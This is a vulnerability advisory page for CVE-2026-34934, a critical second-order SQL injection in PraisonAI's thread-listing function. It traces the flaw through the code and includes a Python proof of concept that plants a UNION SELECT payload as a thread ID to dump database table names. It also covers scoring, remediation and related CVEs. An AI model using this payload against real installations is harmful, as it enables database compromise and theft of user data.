Skip to main content

CVE-2026-34934 — PraisonAI Has Second-Order SQL Injection in praisonai

CRITICAL

PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

Published April 1, 2026Updated November 16, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.63%). Schedule for your next planned update.

Does your project use an affected praisonai version?

Paste your requirements.txt to check it for CVE-2026-34934 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my requirements.txt

Summary

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.


Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

  • Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
  • Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
  • Sink (Line 576):
WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)


import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

Impact

An attacker can achieve full database compromise, including:

  • Exfiltration of sensitive data (user emails, session tokens, API keys)
  • Access to all conversation histories
  • Ability to modify or delete database contents

Advisory Timeline

  • First published April 1, 2026 (239 days ago).
  • Last revised November 16, 2026 — 229 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update praisonai to 4.5.90 or later
pip install "praisonai>=4.5.90"

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: PyPI (1).

PackageFixed In
praisonai PyPI · Affected: 0.0.1, 0.0.10, 0.0.11, 0.0.12 (+647 more)4.5.90

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-34934?
PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-34934?
CVE-2026-34934 affects praisonai. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34934 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Maximum impact if exploited, often with little effort or access required.

EPSS Score (30-day exploit probability)
0.63%
EPSS percentile: 44.8

This is a below-median EPSS score — only 44.8% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-9cq8-3v94-434g
PYSEC-2026-470

Related CVEs

  • CVE-2026-57145
    CRITICAL

    PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation

  • CVE-2026-57131
    CRITICAL

    PraisonAI: Jobs API exposes agent-execution endpoints with no authentication

  • CVE-2026-57127
    CRITICAL

    praisonai: recipe serve auth middleware silently disables itself when no secret is set

  • CVE-2026-57124
    CRITICAL

    PraisonAI: Missing Authentication for Critical Function and Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai

  • CVE-2026-40154
    CRITICAL

    PraisonAI Vulnerable Untrusted Remote Template Code Execution

  • CVE-2026-40288
    CRITICAL

    PraisonAI has critical RCE via `type: job` workflow YAML

  • CVE-2026-47391
    CRITICAL

    PraisonAI's unauthenticated A2A official example can reach real LLM-driven `eval()` tool execution

  • CVE-2026-55541
    HIGH

    PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my requirements.txt